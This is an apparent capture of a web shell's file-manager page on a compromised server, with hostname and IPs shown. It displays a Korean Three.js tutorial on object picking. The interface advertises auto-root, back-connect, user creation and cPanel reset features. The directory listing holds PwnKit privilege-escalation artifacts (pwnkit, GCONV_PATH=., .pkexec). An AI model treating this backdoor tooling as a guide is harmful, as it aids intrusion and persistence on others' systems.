Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 18.224.70.66
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
manual /
ko /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
align-html-elements-to-3d.html
34.71
KB
-rw-r--r--
backgrounds.html
14.09
KB
-rw-r--r--
billboards.html
16.08
KB
-rw-r--r--
cameras.html
30.68
KB
-rw-r--r--
canvas-textures.html
18.89
KB
-rw-r--r--
cleanup.html
18.02
KB
-rw-r--r--
custom-buffergeometry.html
23.81
KB
-rw-r--r--
debugging-glsl.html
7.45
KB
-rw-r--r--
debugging-javascript.html
31.93
KB
-rw-r--r--
fog.html
14.89
KB
-rw-r--r--
fundamentals.html
31.61
KB
-rw-r--r--
game.html
91.06
KB
-rw-r--r--
indexed-textures.html
31.35
KB
-rw-r--r--
lang.css
589
B
-rw-r--r--
lights.html
30.72
KB
-rw-r--r--
load-gltf.html
35.02
KB
-rw-r--r--
load-obj.html
37.24
KB
-rw-r--r--
material-table.html
1.86
KB
-rw-r--r--
materials.html
21.47
KB
-rw-r--r--
multiple-scenes.html
29.43
KB
-rw-r--r--
offscreencanvas.html
49.49
KB
-rw-r--r--
optimize-lots-of-objects-anima...
23.92
KB
-rw-r--r--
optimize-lots-of-objects.html
27.17
KB
-rw-r--r--
picking.html
22.34
KB
-rw-r--r--
post-processing-3dlut.html
27.84
KB
-rw-r--r--
post-processing.html
17.92
KB
-rw-r--r--
prerequisites.html
23.54
KB
-rw-r--r--
primitives.html
25.21
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
rendering-on-demand.html
12.77
KB
-rw-r--r--
rendertargets.html
8.71
KB
-rw-r--r--
responsive.html
16.99
KB
-rw-r--r--
scenegraph.html
31.44
KB
-rw-r--r--
setup.html
5.14
KB
-rw-r--r--
shadertoy.html
25.15
KB
-rw-r--r--
shadows.html
29.24
KB
-rw-r--r--
textures.html
35.63
KB
-rw-r--r--
tips.html
17.83
KB
-rw-r--r--
transparency.html
19.85
KB
-rw-r--r--
voxel-geometry.html
45.92
KB
-rw-r--r--
webxr-basics.html
21.66
KB
-rw-r--r--
webxr-look-to-select.html
22.26
KB
-rw-r--r--
webxr-point-to-select.html
17.58
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : picking.html
<!DOCTYPE html><html lang="ko"><head> <meta charset="utf-8"> <title>피킹(Picking)</title> <meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@threejs"> <meta name="twitter:title" content="Three.js – 피킹(Picking)"> <meta property="og:image" content="https://threejs.org/files/share.png"> <link rel="shortcut icon" href="../../files/favicon_white.ico" media="(prefers-color-scheme: dark)"> <link rel="shortcut icon" href="../../files/favicon.ico" media="(prefers-color-scheme: light)"> <link rel="stylesheet" href="../resources/lesson.css"> <link rel="stylesheet" href="../resources/lang.css"> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../../build/three.module.js" } } </script> <link rel="stylesheet" href="/manual/ko/lang.css"> </head> <body> <div class="container"> <div class="lesson-title"> <h1>피킹(Picking)</h1> </div> <div class="lesson"> <div class="lesson-main"> <p><em>피킹(picking)</em>이란 사용자가 클릭 또는 터치한 물체를 가려내는 작업을 말합니다. 피킹을 구현하는 방법은 수없이 많지만, 각자 단점이 있습니다. 이 글에서는 이 방법 중 흔히 사용하는 2가지 방법만 살펴보겠습니다.</p> <p>아마 <em>피킹</em>을 구현하는 가장 흔한 방법은 광선 투사(ray casting)일 겁니다. 광선 투사란 포인터(커서)에서 장면의 절두체로 광선을 쏴 광선이 닿는 물체를 감지하는 기법을 말하죠. 이론적으로 가장 간단한 방법입니다.</p> <p>먼저 포인터의 좌표를 구한 뒤, 이 좌표를 카메라의 시선과 방향에 따라 3D 좌표로 변환합니다. 그리고 near 면에서 far 면까지의 광선을 구해 이 광선이 장면 안 각 물체의 삼각형과 교차하는지 확인합니다. 만약 장면 안에 1000개의 삼각형을 가진 물체가 1000개 있다면 백만 개의 삼각형을 일일이 확인해야 하는 셈이죠.</p> <p>이를 최적화하려면 몇 가지 방법을 시도해볼 수 있습니다. 하나는 먼저 물체를 감싼 경계(bounding) 좌표가 광선과 교차하는지 확인하고, 교차하지 않는다면 해당 물체의 삼각형을 확인하지 않는 것이죠.</p> <p>Three.js에는 이런 작업을 대신해주는 <code class="notranslate" translate="no">RayCaster</code> 클래스가 있습니다.</p> <p>한번 물체 100개가 있는 장면을 만들어 여기서 피킹을 구현해봅시다. 예제는 <a href="responsive.html">반응형 디자인</a>에서 썼던 예제를 가져와 사용하겠습니다.</p> <p>우선 카메라를 별도 <a href="/docs/#api/ko/core/Object3D"><code class="notranslate" translate="no">Object3D</code></a>의 자식으로 추가해 카메라가 셀카봉처럼 장면 주위를 돌 수 있도록 합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">*const fov = 60; const aspect = 2; // 캔버스 기본값 const near = 0.1; *const far = 200; const camera = new THREE.PerspectiveCamera(fov, aspect, near, far); *camera.position.z = 30; const scene = new THREE.Scene(); +scene.background = new THREE.Color('white'); +// 카메라를 봉(pole)에 추가합니다. +// 이러면 봉을 회전시켜 카메라가 장면 주위를 돌도록 할 수 있습니다 +const cameraPole = new THREE.Object3D(); +scene.add(cameraPole); +cameraPole.add(camera); </pre> <p>그리고 <code class="notranslate" translate="no">render</code> 함수 안에서 카메라 봉을 돌립니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">cameraPole.rotation.y = time * .1; </pre> <p>또한 카메라에 조명을 추가해 조명이 카메라와 같이 움직이도록 합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-scene.add(light); +camera.add(light); </pre> <p>정육면체 100개의 위치, 방향, 크기를 무작위로 설정해 생성합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const boxWidth = 1; const boxHeight = 1; const boxDepth = 1; const geometry = new THREE.BoxGeometry(boxWidth, boxHeight, boxDepth); function rand(min, max) { if (max === undefined) { max = min; min = 0; } return min + (max - min) * Math.random(); } function randomColor() { return `hsl(${ rand(360) | 0 }, ${ rand(50, 100) | 0 }%, 50%)`; } const numObjects = 100; for (let i = 0; i < numObjects; ++i) { const material = new THREE.MeshPhongMaterial({ color: randomColor(), }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); cube.position.set(rand(-20, 20), rand(-20, 20), rand(-20, 20)); cube.rotation.set(rand(Math.PI), rand(Math.PI), 0); cube.scale.set(rand(3, 6), rand(3, 6), rand(3, 6)); } </pre> <p>이제 피킹을 구현해봅시다.</p> <p>피킹을 관리할 간단한 클래스를 만들겠습니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">class PickHelper { constructor() { this.raycaster = new THREE.Raycaster(); this.pickedObject = null; this.pickedObjectSavedColor = 0; } pick(normalizedPosition, scene, camera, time) { // 이미 다른 물체를 피킹했다면 색을 복원합니다 if (this.pickedObject) { this.pickedObject.material.emissive.setHex(this.pickedObjectSavedColor); this.pickedObject = undefined; } // 절두체 안에 광선을 쏩니다 this.raycaster.setFromCamera(normalizedPosition, camera); // 광선과 교차하는 물체들을 배열로 만듭니다 const intersectedObjects = this.raycaster.intersectObjects(scene.children); if (intersectedObjects.length) { // 첫 번째 물체가 제일 가까우므로 해당 물체를 고릅니다 this.pickedObject = intersectedObjects[0].object; // 기존 색을 저장해둡니다 this.pickedObjectSavedColor = this.pickedObject.material.emissive.getHex(); // emissive 색을 빨강/노랑으로 빛나게 만듭니다 this.pickedObject.material.emissive.setHex((time * 8) % 2 > 1 ? 0xFFFF00 : 0xFF0000); } } } </pre> <p>위 클래스는 먼저 <code class="notranslate" translate="no">RayCaster</code> 인스턴스를 만들고 <code class="notranslate" translate="no">pick</code> 메서드를 호출하면 장면에 광선을 쏠 수 있게 해줍니다. 그리고 광선에 맞는 요소가 있으면 해당 요소 중 가장 첫 번째 요소의 색을 변경합니다.</p> <p>사용자가 마우스를 눌렀을 때(down)만 이 함수가 작동하도록 할 수도 있지만, 예제에서는 마우스 포인터 아래의 있는 요소를 피킹하도록 하겠습니다. 이를 구현하려면 먼저 포인터를 추적해야 합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const pickPosition = { x: 0, y: 0 }; clearPickPosition(); ... function getCanvasRelativePosition(event) { const rect = canvas.getBoundingClientRect(); return { x: (event.clientX - rect.left) * canvas.width / rect.width, y: (event.clientY - rect.top ) * canvas.height / rect.height, }; } function setPickPosition(event) { const pos = getCanvasRelativePosition(event); pickPosition.x = (pos.x / canvas.width ) * 2 - 1; pickPosition.y = (pos.y / canvas.height) * -2 + 1; // Y 축을 뒤집었음 } function clearPickPosition() { /** * 마우스의 경우는 항상 위치가 있어 그다지 큰 * 상관이 없지만, 터치 같은 경우 사용자가 손가락을 * 떼면 피킹을 멈춰야 합니다. 지금은 일단 어떤 것도 * 선택할 수 없는 값으로 지정해두었습니다 **/ pickPosition.x = -100000; pickPosition.y = -100000; } window.addEventListener('mousemove', setPickPosition); window.addEventListener('mouseout', clearPickPosition); window.addEventListener('mouseleave', clearPickPosition); </pre> <p>위 예제에서는 마우스의 좌표를 정규화(normalize)했습니다. 캔버스의 크기와 상관없이 왼쪽 끝이 -1, 오른쪽 끝이 +1인 벡터값이 필요하기 때문이죠. 마찬가지로 아래쪽 끝은 -1, 위쪽 끝은 +1입니다.</p> <p>모바일도 환경도 지원하기 위해 리스너를 더 추가하겠습니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">window.addEventListener('touchstart', (event) => { event.preventDefault(); // 스크롤 이벤트 방지 setPickPosition(event.touches[0]); }, { passive: false }); window.addEventListener('touchmove', (event) => { setPickPosition(event.touches[0]); }); window.addEventListener('touchend', clearPickPosition); </pre> <p>마지막으로 <code class="notranslate" translate="no">render</code> 함수에서 <code class="notranslate" translate="no">PickHelper</code>의 <code class="notranslate" translate="no">pick</code> 메서드를 호출합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">+const pickHelper = new PickHelper(); function render(time) { time *= 0.001; // 초 단위로 변환 ... + pickHelper.pick(pickPosition, scene, camera, time); renderer.render(scene, camera); ... </pre> <p>결과를 볼까요?</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/picking-raycaster.html"></iframe></div> <a class="threejs_center" href="/manual/examples/picking-raycaster.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>딱히 문제는 없어 보입니다. 실제로 사용하는 경우도 대부분 문제 없이 잘 되겠지만, 이 방법에는 몇 가지 문제점이 있습니다.</p> <ol> <li><p>CPU의 자원을 사용한다</p> <p> 자바스크립트 엔진은 각 요소를 돌며 광선이 요소의 경계 좌표 안에 교차하는지 확인합니다. 만약 교차할 경우, 해당 요소의 삼각형을 전부 돌며 광선과 교차하는 삼각형이 있는지 확인합니다.</p> <p> 이 방식의 장점은 자바스크립트가 교차하는 지점을 정확히 계산해 해당 데이터를 넘겨줄 수 있다는 점입니다. 예를 들어 교차가 발생한 지점에 특정 표시를 할 수 있겠죠.</p> <p> 대신 CPU가 할 일이 더 늘어난다는 점이 단점입니다. 요소가 가진 삼각형이 많을수록 더 느려지겠죠.</p> </li> <li><p>특이한 방식의 쉐이더나 변이를 감지하지 못한다</p> <p> 만약 장면에서 geometry를 변형하는 쉐이더를 사용한다면, 자바스크립트는 이 변형을 감지하지 못하기에 잘못된 값을 내놓을 겁니다. 제가 테스트해본 결과 스킨이 적용된 요소에는 이 방법이 먹히지 않습니다.</p> </li> <li><p>요소의 투명한 구멍을 처리하지 못한다.</p> </li> </ol> <p>예제를 하나 만들어보죠. 아래와 같은 텍스처를 정육면체에 적용해봅시다.</p> <div class="threejs_center"><img class="checkerboard" src="../examples/resources/images/frame.png"></div> <p>그다지 추가할 건 많지 않습니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">+const loader = new THREE.TextureLoader(); +const texture = loader.load('resources/images/frame.png'); const numObjects = 100; for (let i = 0; i < numObjects; ++i) { const material = new THREE.MeshPhongMaterial({ color: randomColor(), +map: texture, +transparent: true, +side: THREE.DoubleSide, +alphaTest: 0.1, }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); ... </pre> <p>예제를 실행시키면 바로 문제가 보일 겁니다.</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/picking-raycaster-transparency.html"></iframe></div> <a class="threejs_center" href="/manual/examples/picking-raycaster-transparency.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>정육면체의 빈 공간을 통해 무언가를 선택할 수가 없죠.</p> <div class="threejs_center"><img src="../resources/images/picking-transparent-issue.jpg" style="width: 635px;"></div> <p>이는 자바스크립트가 텍스처나 재질을 보고 해당 요소가 투명한지 판단하기가 어렵기 때문입니다.</p> <p>이 문제를 해결하려면 GPU 기반 피킹을 구현해야 합니다. 이론적으로는 간단하지만 위에서 사용한 광선 투사법보다는 좀 더 복잡하죠.</p> <p>GPU 피킹을 구현하려면 각 요소를 별도의 화면에서 고유한 색상으로 렌더링해야 합니다. 그리고 포인터 아래에 있는 픽셀의 색을 가져와 해당 요소가 선택됐는지 확인하는 거죠.</p> <p>이러면 위에서 언급한 문제점 2, 3번이 해결됩니다. 1번, 성능의 경우는 상황에 따라 천차만별이죠. 눈에 보이는 화면을 위해 한 번, 피킹을 위해 한 번, 이렇게 매 요소를 총 두 번씩 렌더링해야 합니다. 더 복잡한 해결책을 쓰면 렌더링을 한 번만 할 수도 있지만, 이 글에서는 일단 더 간단한 방법을 사용하겠습니다.</p> <p>성능 최적화를 위해 시도할 수 있는 방법이 하나 있습니다. 어차피 픽셀을 하나만 읽을 것이니, 카메라를 픽셀 하나만 렌더링하도록 설정하는 것이죠. <a href="/docs/#api/ko/cameras/PerspectiveCamera.setViewOffset"><code class="notranslate" translate="no">PerspectiveCamera.setViewOffset</code></a> 메서드를 사용하면 카메라의 특정 부분만 렌더링하도록 할 수 있습니다. 이러면 성능 향상에 조금이나마 도움이 되겠죠.</p> <p>현재 Three.js에서 이 기법을 구현하려면 장면 2개를 사용해야 합니다. 하나는 기존 mesh를 그대로 쓰고, 나머지 하나는 피킹용 재질을 적용한 mesh를 쓸 겁니다.</p> <p>먼저 두 번째 장면을 추가하고 배경을 검정으로 지정합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const scene = new THREE.Scene(); scene.background = new THREE.Color('white'); const pickingScene = new THREE.Scene(); pickingScene.background = new THREE.Color(0); </pre> <p>각 정육면체를 장면에 추가할 때 <code class="notranslate" translate="no">pickingScene</code>의 같은 위치에 "피킹용 정육면체"를 추가합니다. 그리고 각 피킹용 정육면체에는 id로 쓸 고유 색상값을 지정한 뒤, 이 id 색상값으로 재질을 만들어 추가합니다. id 색상값을 정육면체의 키값으로 매핑해 놓으면 나중에 상응하는 정육면체를 바로 불러올 수 있겠죠.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">const idToObject = {}; +const numObjects = 100; for (let i = 0; i < numObjects; ++i) { + const id = i + 1; const material = new THREE.MeshPhongMaterial({ color: randomColor(), map: texture, transparent: true, side: THREE.DoubleSide, alphaTest: 0.1, }); const cube = new THREE.Mesh(geometry, material); scene.add(cube); + idToObject[id] = cube; cube.position.set(rand(-20, 20), rand(-20, 20), rand(-20, 20)); cube.rotation.set(rand(Math.PI), rand(Math.PI), 0); cube.scale.set(rand(3, 6), rand(3, 6), rand(3, 6)); + const pickingMaterial = new THREE.MeshPhongMaterial({ + emissive: new THREE.Color(id), + color: new THREE.Color(0, 0, 0), + specular: new THREE.Color(0, 0, 0), + map: texture, + transparent: true, + side: THREE.DoubleSide, + alphaTest: 0.5, + blending: THREE.NoBlending, + }); + const pickingCube = new THREE.Mesh(geometry, pickingMaterial); + pickingScene.add(pickingCube); + pickingCube.position.copy(cube.position); + pickingCube.rotation.copy(cube.rotation); + pickingCube.scale.copy(cube.scale); } </pre> <p>위 코드에서는 <a href="/docs/#api/ko/materials/MeshPhongMaterial"><code class="notranslate" translate="no">MeshPhongMaterial</code></a>로 편법을 사용했습니다. <code class="notranslate" translate="no">emissive</code> 속성을 id 색상값으로, <code class="notranslate" translate="no">color</code>와 <code class="notranslate" translate="no">specular</code> 속성을 0으로 설정하면 텍스처의 알파값이 <code class="notranslate" translate="no">alphaTest</code>보다 큰 부분만 id 색상값으로 보이겠죠. 또 <code class="notranslate" translate="no">blending</code> 속성을 <code class="notranslate" translate="no">THREE.NoBlending</code>으로 설정해 id 색상값이 알파값의 영향을 받지 않도록 했습니다.</p> <p>제가 사용한 편법이 최적의 해결책은 아닙니다. 여러가지 옵션을 껐다고 해도 여전히 조명 관련 연산을 실행할 테니까요. 코드를 더 최적화하려면 <code class="notranslate" translate="no">alphaTest</code> 값보다 높은 경우에만 id 색상을 렌더링하는 쉐이더를 직접 만들어야 합니다.</p> <p>광선 투사법을 쓸 때와 달리 픽셀을 하나만 사용하므로 위치값이 픽셀 하나만 가리키게 변경합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">function setPickPosition(event) { const pos = getCanvasRelativePosition(event); - pickPosition.x = (pos.x / canvas.clientWidth ) * 2 - 1; - pickPosition.y = (pos.y / canvas.clientHeight) * -2 + 1; // Y 축을 뒤집었음 + pickPosition.x = pos.x; + pickPosition.y = pos.y; } </pre> <p><code class="notranslate" translate="no">PickHelper</code> 클래스도 <code class="notranslate" translate="no">GPUPickHelper</code>로 변경합니다. <a href="rendertargets.html">렌더 타겟(render target)에 관한 글</a>에서 다룬 <a href="/docs/#api/ko/renderers/WebGLRenderTarget"><code class="notranslate" translate="no">WebGLRenderTarget</code></a>을 써 구현하되, 이번 렌더 타겟의 크기는 1x1, 1픽셀입니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-class PickHelper { +class GPUPickHelper { constructor() { - this.raycaster = new THREE.Raycaster(); + // 1x1 픽셀 크기의 렌더 타겟을 생성합니다 + this.pickingTexture = new THREE.WebGLRenderTarget(1, 1); + this.pixelBuffer = new Uint8Array(4); this.pickedObject = null; this.pickedObjectSavedColor = 0; } pick(cssPosition, scene, camera, time) { + const {pickingTexture, pixelBuffer} = this; // 기존에 선택된 요소가 있는 경우 색을 복원합니다 if (this.pickedObject) { this.pickedObject.material.emissive.setHex(this.pickedObjectSavedColor); this.pickedObject = undefined; } + // view offset을 마우스 포인터 아래 1픽셀로 설정합니다 + const pixelRatio = renderer.getPixelRatio(); + camera.setViewOffset( + renderer.getContext().drawingBufferWidth, // 전체 너비 + renderer.getContext().drawingBufferHeight, // 전체 높이 + cssPosition.x * pixelRatio | 0, // 사각 x 좌표 + cssPosition.y * pixelRatio | 0, // 사각 y 좌표 + 1, // 사각 좌표 width + 1, // 사각 좌표 height + ); + // 장면을 렌더링합니다 + renderer.setRenderTarget(pickingTexture) + renderer.render(scene, camera); + renderer.setRenderTarget(null); + + // view offset을 정상으로 돌려 원래의 화면을 렌더링하도록 합니다 + camera.clearViewOffset(); + // 픽셀을 감지합니다 + renderer.readRenderTargetPixels( + pickingTexture, + 0, // x + 0, // y + 1, // width + 1, // height + pixelBuffer); + + const id = + (pixelBuffer[0] << 16) | + (pixelBuffer[1] << 8) | + (pixelBuffer[2] ); // 절두체 안에 광선을 쏩니다 - this.raycaster.setFromCamera(normalizedPosition, camera); // 광선과 교차하는 물체들을 배열로 만듭니다 - const intersectedObjects = this.raycaster.intersectObjects(scene.children); - if (intersectedObjects.length) { // 첫 번째 물체가 제일 가까우므로 해당 물체를 고릅니다 - this.pickedObject = intersectedObjects[0].object; + const intersectedObject = idToObject[id]; + if (intersectedObject) { // 첫 번째 물체가 제일 가까우므로 해당 물체를 고릅니다 + this.pickedObject = intersectedObject; // 기존 색을 저장해둡니다 this.pickedObjectSavedColor = this.pickedObject.material.emissive.getHex(); // emissive 색을 빨강/노랑으로 빛나게 만듭니다 this.pickedObject.material.emissive.setHex((time * 8) % 2 > 1 ? 0xFFFF00 : 0xFF0000); } } } </pre> <p>인스턴스를 만드는 쪽도 수정합니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">-const pickHelper = new PickHelper(); +const pickHelper = new GPUPickHelper(); </pre> <p><code class="notranslate" translate="no">pick</code> 메서드를 호출할 때 <code class="notranslate" translate="no">scene</code> 대신 <code class="notranslate" translate="no">pickScene</code>을 넘겨줍니다.</p> <pre class="prettyprint showlinemods notranslate lang-js" translate="no">- pickHelper.pick(pickPosition, scene, camera, time); + pickHelper.pick(pickPosition, pickScene, camera, time); </pre> <p>이제 투명한 부분을 관통해 요소를 선택할 수 있습니다.</p> <p></p><div translate="no" class="threejs_example_container notranslate"> <div><iframe class="threejs_example notranslate" translate="no" style=" " src="/manual/examples/resources/editor.html?url=/manual/examples/picking-gpu.html"></iframe></div> <a class="threejs_center" href="/manual/examples/picking-gpu.html" target="_blank">새 탭에서 보기</a> </div> <p></p> <p>이 글이 피킹을 구현하는 데 도움이 되었으면 좋겠네요. 나중에 요소를 마우스로 조작하는 법에 대해서도 한 번 써보겠습니다.</p> </div> </div> </div> <script src="../resources/prettify.js"></script> <script src="../resources/lesson.js"></script> </body></html>
Close